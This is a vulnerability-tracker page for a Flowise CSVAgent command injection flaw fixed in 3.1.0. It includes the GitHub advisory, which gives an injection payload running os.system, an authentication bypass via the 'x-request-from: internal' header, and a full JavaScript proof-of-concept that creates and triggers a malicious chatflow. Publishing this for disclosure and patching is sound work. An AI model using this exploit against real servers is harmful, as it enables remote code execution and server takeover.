CVE-2026-41137
highpriority · track · 36EPSS 0.015 · 73 %ileDEEUUSEPSS · scored 2026-10-27
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide a command injection payload that will get interpolated and executed by the server. This vulnerability is fixed in 3.1.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 7.7–9.4
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (7)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1145Flowise: Mehrere SchwachstellenDeutsch2026-04-15csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, und um Dateien zu manipulieren.
- GHSA-9wc7-mj3f-74xvFlowise: Code Injection in CSVAgent leads to Authenticated RCE2026-04-16ghsa · osvUS
### Summary The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server. ### Details The code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]). `customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`. An authenticated attacker can issue the following chain of requests: 1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response. 2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work. 3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow. Since `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren't set, it's sufficient to provide the `"x-request-from": "internal"` header to bypass authentication. ### PoC Here's the PoC code: ``` const PORT = 3000; const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`; const PREDICTION_URL = '/api/v1/prediction'; const CHATFLOWS_URL = '/api/v1/chatflows'; const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}"); const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"}; // Create chatflow. let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, { method: "POST", headers: { "Content-Type": "application/json", "Authorization": "Bearer <your-api-key>" //Alternative: "x-request-from": "internal" }, body: JSON.stringify(payload) }); let resJson = await res.json(); let chatflowId = resJson?.id; // Trigger vuln. await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({"question": "whoami?"}) }); // Cleanup. await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, { method: "DELETE", headers: { "Content-Type": "application/json", "Authorization": "Bearer <your-api-key>" //Alternative: "x-request-from": "internal" } }); ``` ### Impact This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.
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references (4)
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